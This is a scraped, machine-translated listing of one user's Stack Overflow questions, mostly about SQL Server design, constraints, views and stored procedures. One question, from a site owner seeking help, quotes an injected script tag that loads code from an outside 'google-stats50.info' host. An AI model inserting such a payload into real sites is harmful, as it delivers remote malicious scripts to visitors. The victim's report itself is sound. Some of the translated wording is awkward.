小编A-K*_*A-K的帖子

你怎么知道SQL数据库何时需要更多规范化?

是在你试图获取数据时,没有明显的简单方法吗?

当你发现某些东西应该是它自己的桌子?

有什么法律?

sql database sql-server database-design normalization

6
推荐指数
3
解决办法
585
查看次数

为什么我的CASE表达式不确定?

我试图使用CASE表达式创建一个持久的计算列:

ALTER TABLE dbo.Calendar ADD PreviousDate AS 
case WHEN [Date]>'20100101' THEN  [Date]
    ELSE NULL
    END PERSISTED
Run Code Online (Sandbox Code Playgroud)

MSDN清楚地说CASE是确定性的,在这里

但是,我收到一个错误:

消息4936,级别16,状态1,行1"表日历"中的计算列"PreviousDate"无法保留,因为该列是非确定性的.

当然,我可以创建一个标量UDF并明确声明它是确定性的,但是有更简单的方法吗?我已经在获取最新的服务包了.谢谢.

sql sql-server calculated-columns sql-server-2008 persisted-column

6
推荐指数
2
解决办法
4469
查看次数

由列位控制的UNIQUE约束

我有一张桌子,像

FieldsOnForms(
 FieldID int (FK_Fields)
 FormID int (FK_Forms)
 isDeleted bit
)
Run Code Online (Sandbox Code Playgroud)

该对(FieldID,FormID)应该是唯一的,但仅当未删除该行时(isDeleted = 0).

是否可以在SQLServer 2008中定义这样的约束?(不使用触发器)

PS设置(FieldID,FormID,isDeleted)是唯一的,增加了将一行标记为已删除的可能性,但我希望有机会将n行(每个FieldID,FormID)设置为isDeleted = 1,并且只有一个isDeleted = 0

sql sql-server database-design unique-constraint

6
推荐指数
1
解决办法
1696
查看次数

如何使用 SQL Server Dev Edition 加速集成测试

我们有一套用 C# 和 C++ 开发的应用程序,并使用 SQL Server 作为后端。集成测试是用 NUnit 开发的,运行时间超过两分钟。为了加速集成测试,我们使用了以下内容:

  • 测试在同一台工作站上运行,因此没有网络延迟
  • 测试数据库创建在 DataRam RAM Disk 上,速度快
  • 测试装置并行运行,目前一次最多四个
  • 大多数测试数据是使用表值参数批量加载的。

还可以做些什么来加速自动化集成测试?

resharper nunit unit-testing sql-server-2008 c#-4.0

6
推荐指数
1
解决办法
668
查看次数

针对视图联接:性能问题

从性能的角度来看,这样做是否相同:

select * from MYTABLEONE MT1
join MYVIEW MV on MT1.ID = MV.ID
Run Code Online (Sandbox Code Playgroud)

(视图所在的位置

create view MYVIEW as
select MT2.*, MT3.*
from MYTABLETWO MT2
join MYTABLETHREE MT3 on MT2.OtherID = MT3.OtherID
Run Code Online (Sandbox Code Playgroud)

)

或者最好这样做:

select MT1.*, MT2.*, MT3.*
from MYTABLEONE MT1
join MYTABLETWO MT2 on MT1.ID = MT2.ID
join MYTABLETHREE MT3 on MT2.OtherID = MT3.OtherID
Run Code Online (Sandbox Code Playgroud)

sql-server optimization views query-optimization

5
推荐指数
1
解决办法
8566
查看次数

ASP.NET网站上的XSS攻击

我遇到了很大麻烦.请帮忙!!!!!!!!!!

我的网站遭到了一些恶意脚本的攻击</ title> <script src = http:// google-stats50.info/ur.php>.此脚本会自动附加到某个表的任何列.我删除了这个脚本.但几个小时后,它又重新出现在一些表格中.但这一次是</ title> <script src = http:// google-stats49.info/ur.php>.

我的客户抱怨脚本.使用的技术是ASP.NET 1.1,SQL SERVER 2005.

请帮忙.

提前致谢!!!!!!

sql-server asp.net sql-injection

5
推荐指数
1
解决办法
3124
查看次数

存储过程语法错误(MSSQL)

下面提到的存储过程在创建时给出错误

Msg 156, Level 15, State 1, Procedure crosstab, Line 23
Incorrect syntax near the keyword 'pivot'.
Run Code Online (Sandbox Code Playgroud)

谁能告诉我这个错误?

以下是脚本:

CREATE PROCEDURE crosstab 
@select varchar(8000),
@sumfunc varchar(100), 
@pivot varchar(100), 
@table varchar(100) 
AS

DECLARE @sql varchar(8000), @delim varchar(1)
SET NOCOUNT ON
SET ANSI_WARNINGS OFF

EXEC ('SELECT ' + @pivot + ' AS pivot INTO ##pivot FROM ' + @table + ' WHERE 1=2')
EXEC ('INSERT INTO ##pivot SELECT DISTINCT ' + @pivot + ' FROM ' + @table + ' WHERE ' …
Run Code Online (Sandbox Code Playgroud)

sql t-sql sql-server stored-procedures dynamic-sql

5
推荐指数
1
解决办法
1028
查看次数

关系数据仓库中的参照完整性.这值得么?什么是替代品?

如果你必须使用SQL Server 2008构建一个圣经比例的关系数据仓库,你会使用外键来强制数据完整性,还是会使用其他方法?

我喜欢外键,因为你只需要将它们弄好一次,它们总是在那里保护完整性.我正在考虑去禁用,加载,启用路由.

有什么想法吗?

提前致谢.

sql-server database-design referential-integrity data-warehouse

5
推荐指数
1
解决办法
1635
查看次数

什么是有意义的数据类型来节省时间

什么是在.net中节省时间的好数据类型?

是使用decimal类型更好还是double数据类型更合适.有几个小时,我的意思是:

  • 2两个小时
  • 1.5分钟,90分钟
  • 8.25小时15分钟.

.net c# sql-server database-design

5
推荐指数
2
解决办法
6192
查看次数

Linq-to-SQL无法反映一个存储过程中的更改

我通过linq-to-SQL暴露了几个存储过程.一段时间后,我意识到我需要再由这些程序返回一列,所以我更改了程序,在设计板中删除它们,然后再次拖动.

我确实看到在我的所有程序中都暴露了新列,除了一个 - 它的助手类根本没有改变.当我直接执行该存储过程时,我确实看到了新列.

我错过了什么?关闭并重新开启VS并没有帮助.清洁解决方案也没有帮助.实际工作的唯一解决方法是重命名该过程.这是linq-to-sql中的错误还是我错过了什么?

TIA

.net c# linq stored-procedures linq-to-sql

5
推荐指数
1
解决办法
558
查看次数